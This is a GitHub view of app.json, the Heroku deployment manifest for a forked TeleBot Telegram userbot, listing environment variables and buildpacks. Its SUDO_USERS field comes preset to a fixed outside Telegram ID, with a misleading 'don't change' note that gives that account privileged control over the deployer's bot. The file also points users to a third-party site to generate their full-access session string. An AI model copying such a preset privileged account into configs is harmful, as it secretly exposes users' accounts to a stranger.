forked from xditya/TeleBot
-
Notifications
You must be signed in to change notification settings - Fork 0
/
app.json
170 lines (170 loc) · 5.49 KB
/
app.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
{
"name": "TeleBot",
"description": "Userbot created by a Aditya\n\n join https://t.me/TeleBotHelpChat for any problems or support",
"logo": "https://telegra.ph/file/34b810002e7a3ee86a21e.png",
"keywords": [
"telegram",
"userbot",
"plugin",
"modular",
"productivity"
],
"repository": "https://github.com/xditya/TeleBot/",
"website": "#TODO",
"success_url": "#TODO",
"env": {
"ENV": {
"description": "Setting this to ANYTHING will enable heroku.",
"value": "ANYTHING"
},
"TEMP_DOWNLOAD_DIRECTORY": {
"description": "Where downloaded files will go.",
"value": "./userbot/DOWNLOADS/",
"required": false
},
"APP_ID": {
"description": "Get this value from my.telegram.org! Please do not steal",
"value": ""
},
"API_HASH": {
"description": "Get this value from my.telegram.org! Please do not steal",
"value": ""
},
"STRING_SESSION": {
"description": "Get this value by running python3 telesetup.py locally or https://telebot-sessionstring-generator.xditya.repl.run online.",
"value": ""
},
"CUSTOM_PMPERMIT": {
"description": "The message that appears when someone PM's you. Leave it as such for default message.",
"value": "Do not spam here, else you will be blocked automatically."
},
"CUSTOM_BLOCK": {
"description": "The message that appears when you block someone in PM. Leave blank for default.",
"value": "",
"required": false
},
"CUSTOM_AFK": {
"description": "The message that appears when you go afk. Leave it as such for default.",
"value": "My Master is [AFK](https://telegra.ph/AFK-05-22)"
},
"GITHUB_ACCESS_TOKEN": {
"description": "Your Github Access Token for gitcommit plugin.Google 'Github access token' to find.",
"value": "",
"required": false
},
"GIT_REPO_NAME": {
"description": "Your repo name Example: xditya/TeleBot, but GITHUB_ACCESS_TOKEN must be setup first.",
"value": "",
"required": false
},
"LYDIA_API_KEY": {
"description": "Needed for Lydia AI. Follow https://telegra.ph/Lydia-09-05 to get your API.",
"value": "",
"required": false
},
"HEROKU_API_KEY": {
"description": "Go to https://dashboard.heroku.com/account, scroll down and press Reveal API.Required for updater to work.",
"value": "",
"required": true
},
"CHROME_BIN": {
"description": "For Carbon.py. Leave as it is. ",
"value": "/app/.apt/usr/bin/google-chrome",
"required": false
},
"CHROME_DRIVER": {
"description": "For Carbon.py. Leave as it is. ",
"value": "/app/.chromedriver/bin/chromedriver",
"required": false
},
"SUDO_USERS": {
"description": "Don't change the value here. (Makes your acc and bot stable)",
"value": "919057070",
"required": false
},
"PRIVATE_GROUP_BOT_API_ID": {
"description": "Must read https://telegra.ph/TeleBot-Setup-06-06 for knowing how to get the value. Required for pmpermit.",
"value": "",
"required": true
},
"PRIVATE_GROUP_ID": {
"description": "Same value as PRIVATE_GROUP_BOT_API_ID. Must read https://telegra.ph/TeleBot-Setup-06-06 for knowing how to get the value. Required for pmpermit.",
"value": "",
"required": true
},
"HEROKU_APP_NAME": {
"description": "The Value of App Name you filled in right on top.Required for updater to work.",
"value": "",
"required": true
},
"TG_BOT_TOKEN_BF_HER": {
"description": "Needed for inline buttons maker. Make a bot at [BotFather](http://telegram.dog/BotFather) and get the token of your bot. Get it else .help won't work.",
"value": "",
"required": true
},
"CHROME_BIN": {
"description": "For Carbon.py. Leave as it is. ",
"value": "/app/.apt/usr/bin/google-chrome",
"required": false
},
"CHROME_DRIVER": {
"description": "For Carbon.py. Leave as it is. ",
"value": "/app/.chromedriver/bin/chromedriver",
"required": false
},
"TG_BOT_USER_NAME_BF_HER": {
"description": "Needed for inline buttons maker. Make a bot at [BotFather](http://telegram.dog/BotFather) and get the username of your bot. Needed for .help to work.",
"value": "",
"required": true
},
"DOWNLOAD_PFP_URL_CLOCK": {
"description": "Needed for autopic module. A url that is a preview link of your Profile Pic",
"value": "",
"required": false
},
"ALIVE_NAME": {
"description": "Your Telegram Username. ",
"value": "",
"required": false
},
"MAX_FLOOD_IN_P_M_s": {
"description": "Maximum number of messages a person can send in pm before getting blocked. Value must be an integer. 3 by default.",
"value": "3",
"required": false
},
"OCR_SPACE_API_KEY": {
"description": "Required for OCR functionality. Get from https://ocr.space/ocrapi",
"value": "",
"required": false
},
"REM_BG_API_KEY": {
"description": "Required for Removing image background functionality. Get from https://www.remove.bg/",
"value": "",
"required": false
},
"TZ": {
"description": "Required for Correct Time on autopic/get time. Know your timezone from http://www.timezoneconverter.com/cgi-bin/findzone.tzc",
"value": "",
"required": false
}
},
"addons": [{
"plan": "heroku-postgresql",
"options": {
"version": "9.6"
}
}],
"buildpacks": [{
"url": "https://github.com/jonathanong/heroku-buildpack-ffmpeg-latest"
},{
"url":"https://github.com/amivin/aria2-heroku.git"
},{
"url":"https://github.com/heroku/heroku-buildpack-google-chrome"
},{
"url":"https://github.com/heroku/heroku-buildpack-chromedriver"
},{
"url": "https://github.com/opendoor-labs/heroku-buildpack-p7zip"
},{
"url": "heroku/python"
}]
}